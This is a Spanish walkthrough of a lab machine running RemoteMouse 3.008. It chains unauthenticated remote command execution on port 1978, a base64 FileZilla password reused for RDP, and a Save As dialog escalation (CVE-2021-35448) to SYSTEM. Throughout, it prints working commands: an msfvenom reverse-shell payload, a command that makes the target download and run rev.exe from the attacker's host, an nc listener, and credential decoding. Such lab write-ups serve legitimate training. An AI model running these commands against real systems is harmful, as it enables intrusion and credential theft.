Mice
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. RemoteMouse 3.008 escuchando en 1978/TCP con ejecución remota sin autenticar como usuario de escritorio, credenciales RDP en base64 dentro derecentservers.xmlde FileZilla, y una escalada GUI por el propio icono de bandeja de RemoteMouse (CVE-2021-35448) que abre uncmd.execomo Administrador desde el diálogo "Save As".
Reconocimiento
Escaneo inicial
ping -c 1 192.168.164.199 # ttl=125 → Windows
sudo nmap -sT -n -Pn -p- 192.168.164.199PORT STATE SERVICE
1978/tcp open remotemouse
1979/tcp open unisql-java
1980/tcp open pearldoc-xact
3389/tcp open ms-wbt-server
7680/tcp open pando-pubnmap -p1978,1979,1980,3389,7680 -sCV 192.168.164.199TTL 125 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 125 = 128−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Nmap dibuja el escritorio de un Windows 10 con RDP (3389), UPnP (7680) y tres puertos en 1978-1980 que fingerprintea como Emote Remote Mouse (una app que permite controlar el ratón/teclado del PC desde el móvil por Wi-Fi).
PORT STATE SERVICE VERSION
1978/tcp open remotemouse Emote Remote Mouse
1979/tcp open unisql-java?
1980/tcp open pearldoc-xact?
3389/tcp open ms-wbt-server Microsoft Terminal Services
7680/tcp open pando-pub?El fingerprint del 1978 es la pista. Una búsqueda por el puerto y el producto lleva directa al fallo:

RemoteMouse hasta la 3.008 acepta comandos sin autenticación por ese puerto: la ficha de Exploit-DB (EDB 46697) lo confirma ("fails to check for authenication and will execute any command"):

Shell como divine
RemoteMouse 3.008 - RCE no autenticada
Buscando una implementación cómoda del exploit aparece el de p0dalirius:

El exploit de p0dalirius simula pulsaciones (Win+R, escritura de comando, Enter) contra el servicio 1978/TCP: el PC "escribe" y ejecuta lo que le mandemos como si fuera el usuario logueado.
git clone https://github.com/p0dalirius/RemoteMouse-3.008-Exploit
# ls RemoteMouse-3.008-Exploit
README.md RemoteMouse-3.008-Exploit.py setupEl repo trae el script RemoteMouse-3.008-Exploit.py, que es el que dispararemos.
El plan estándar: generar reverse shell, descargarla por HTTP y disparar.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.201 LPORT=443 -f exe -o rev.exe
python3 -m http.server 80
python3 RemoteMouse-3.008-Exploit.py -t 192.168.164.199 \
-c 'powershell -c "curl http://192.168.45.201/rev.exe -o C:/Windows/Temp/rev.exe"'
python3 RemoteMouse-3.008-Exploit.py -t 192.168.164.199 \
-c 'C:/Windows/Temp/rev.exe'Levantamos el nc que recibirá la conexión:
rlwrap nc -nlvp 443El exploit hace que el objetivo descargue y ejecute rev.exe, y la conexión aparece como divine, la cuenta que tiene la sesión abierta:

C:\Users\divine\Desktop>type local.txt && whoami
0698167a58b07a97269c589e09de2cfc
remote-pc\divine
Escalada de Privilegios
Credenciales RDP en FileZilla (recentservers.xml)
Antes de tocar cualquier técnica de privesc, se revisan los rastros del usuario. FileZilla guarda sus últimos servidores en %APPDATA%\FileZilla\recentservers.xml, con la contraseña codificada en base64 (no cifrada: es un ofuscamiento trivial que no protege nada; una lectura del fichero equivale a leer el password).
Enumerando el %APPDATA% de divine aparece la carpeta de FileZilla:

cd $env:APPDATA\FileZilla
type recentservers.xml
<Pass encoding="base64">Q29udHJvbEZyZWFrMTE=</Pass>echo -n 'Q29udHJvbEZyZWFrMTE=' | base64 -d
# ControlFreak11Esa contraseña abre RDP a la sesión de divine (misma cuenta de escritorio), reutilizada por conveniencia del propio usuario. Es un caso clásico de reutilización de credenciales.
rdesktop 192.168.164.199 # divine / ControlFreak11
# rdesktop 192.168.164.199
Core(warning): Certificate received from server is NOT trusted by this system...
Connection established using SSL.rdesktop negocia SSL y abre la pantalla de login de Windows: introducimos divine / ControlFreak11 y entramos a su escritorio.
CVE-2021-35448 - RemoteMouse GUI abre cmd como Administrador
RemoteMouse se ejecuta con privilegios elevados y deja un icono en la bandeja del sistema. El PoC en Exploit-DB documenta el fallo: desde Settings > Image Transfer Folder > Change..., el diálogo estándar "Save As" permite escribir C:\Windows\System32\cmd.exe en la barra de dirección; Windows abre cmd.exe, y como el proceso padre corre como Administrador, la nueva consola hereda ese contexto. No es un bug de RemoteMouse en sí, es una consecuencia de correr una app interactiva con privilegios altos: cualquier diálogo estándar arrastra el token.

Los pasos exactos:
- Abrir RemoteMouse desde la bandeja.
Settings→ secciónImage Transfer Folder→Change....- En el diálogo "Save As" que aparece, escribir
C:\Windows\System32\cmd.exeen la barra de dirección. - Se abre un
cmd.execon el token del proceso padre → Administrador.


En esa consola, whoami devuelve nt authority\system: RemoteMouse corría como SYSTEM, así que el cmd heredado también lo es:

Proof.txt
C:\Users\Administrator\Desktop>type proof.txt && whoami
782a6f0d37ee6c71e108f5ffa491a074
nt authority\system
Cadena de ataque
Nmap : 1978 RemoteMouse 3.008
└─ Exploit p0dalirius (Win+R + cmd)
└─ curl rev.exe + ejecutar → shell como divine
└─ local.txt
└─ %APPDATA%\FileZilla\recentservers.xml (base64)
└─ divine / ControlFreak11
└─ RDP a la sesión
└─ CVE-2021-35448 (tray → Save As → cmd.exe)
└─ cmd como Administrador → SYSTEMLecciones aprendidas
- RemoteMouse (y otras "apps de control remoto") escuchan en la red sin autenticación por defecto; el fingerprint del puerto (1978/TCP como
remotemouse) es una pista tan buena como un banner de FTP anónimo. - Los almacenes locales de contraseñas de clientes ofimáticos (FileZilla, Outlook, WinSCP, Notepad++ session) casi nunca están cifrados; base64 es solo codificación. Revisar
%APPDATA%de cada usuario es rutina de post-explotación. - Un cliente GUI privilegiado + un diálogo estándar de Windows = escalada casi trivial: el
File > Open/Save Ashabilita ejecutar cualquier binario con el token del proceso padre. - Correr una aplicación interactiva bajo el token de Administrador sin restricción de directorio es incompatible con superficies expuestas al usuario; los diálogos comunes son la puerta.